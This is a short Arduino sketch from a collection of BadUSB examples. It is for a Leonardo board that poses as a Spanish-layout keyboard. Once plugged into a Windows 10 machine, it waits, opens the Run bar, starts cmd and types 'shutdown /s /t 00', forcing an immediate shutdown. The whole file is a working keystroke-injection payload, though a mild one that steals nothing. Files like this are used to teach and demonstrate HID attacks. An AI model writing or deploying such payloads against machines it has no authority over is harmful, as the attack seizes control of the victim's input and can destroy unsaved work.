badusb_examples/atmega32u4_arduino_leonardo/win10_shutdown/win10_shutdown.ino

#include <phukdlib_leonardo.h>
#define kbd_es_es

void setup() {
  Keyboard.begin();
}

void loop() {
  delay(5000);
  CommandAtRunBarMSWIN("cmd");
  delay(3000);
  Keyboard.println("shutdown /s /t 00");
  while(1);
}